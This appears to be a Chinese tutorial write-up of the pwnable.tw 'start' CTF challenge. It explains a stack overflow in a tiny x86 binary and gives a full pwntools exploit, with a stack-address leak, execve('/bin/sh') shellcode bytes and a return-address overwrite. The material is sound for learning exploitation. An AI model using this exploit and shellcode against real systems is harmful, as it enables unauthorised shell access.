pwn题研究之pwnable.tw
字数 1074 2025-08-18 11:36:57
Pwnable.tw - Start 题目分析与利用教学
一、题目概述
这是一个来自pwnable.tw平台的入门级pwn题目,名为"start"。题目考察基础的栈溢出利用技术,通过逆向分析和漏洞利用,最终获取shell权限。
二、逆向分析
使用IDA Pro分析程序,程序逻辑非常简单:
- 程序开始时在栈中保存esp的值和exit()函数的起始地址
- 将eax、ebx、ecx、edx寄存器清零
- 向栈中压入字符串"Let's start the CTF:"
- 使用int 0x80系统调用进行输入输出操作
- 先调用4号功能(sys_write)输出字符串
- 再调用3号功能(sys_read)接收用户输入
- 最后执行ret指令,跳转到exit()函数结束程序
三、漏洞分析
关键漏洞点在于:
-
程序使用int 0x80系统调用时:
- eax存放系统调用号
- ebx为文件描述符(fd)
- ecx指向缓冲区
- edx为缓冲区大小
-
漏洞形成:
- 程序在输出和输入时使用相同的ecx值(指向栈缓冲区)
- 输入时没有限制长度,可以覆盖栈上的数据
- 如果输入超过20字节,将覆盖exit()函数的返回地址
- ret指令执行时会跳转到被覆盖的地址
四、漏洞利用步骤
1. 泄漏栈地址
由于ASLR的存在,我们需要先泄漏栈地址:
-
构造payload覆盖返回地址为0x08048087
- 这个地址对应
mov ecx, esp指令 - 执行后会通过输出泄漏esp的值
- 这个地址对应
-
接收泄漏的栈地址
2. 执行shellcode
- 准备execve("/bin/sh")的shellcode
- 构造新的payload:
- 前20字节填充
- 接着覆盖返回地址为(泄漏的栈地址 + offset)
- 最后附加shellcode
五、Exploit代码详解
from pwn import *
# 本地调试或远程连接
p = process('./start')
# p = remote('chall.pwnable.tw', 10000)
# execve("/bin/sh")的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# 用于泄漏esp的地址
leak_addr = 0x08048087
# 第一阶段:泄漏栈地址
payload1 = 'A'*20 + p32(leak_addr)
p.send(payload1)
p.recvuntil("Let's start the CTF:")
esp = u32(p.recv(4)) # 接收泄漏的esp值
# 计算shellcode的跳转地址
offset = 20
payload2 = 'A' * 20 + p32(esp + offset) + shellcode
p.send(payload2)
# 获取交互式shell
p.interactive()
p.close()
六、关键点说明
-
shellcode构造:使用x86架构的汇编指令构造execve("/bin/sh")调用
- 避免使用空字节(\x00),防止输入被截断
- 尽量保持精简
-
地址泄漏:选择0x08048087是因为:
- 这个地址的指令会将esp值放入ecx
- 后续输出调用会打印出栈地址
-
偏移计算:offset=20是因为:
- 前20字节是填充数据
- 接下来的4字节是返回地址
- shellcode从第24字节开始
七、扩展思考
- 如果程序开启了NX保护,这种利用方式将失效,需要考虑ROP技术
- 可以尝试不同的shellcode构造方式
- 考虑如何绕过可能的输入过滤
通过这个简单的题目,可以学习到基础的栈溢出利用技术,包括地址泄漏、shellcode构造和跳转控制等核心概念。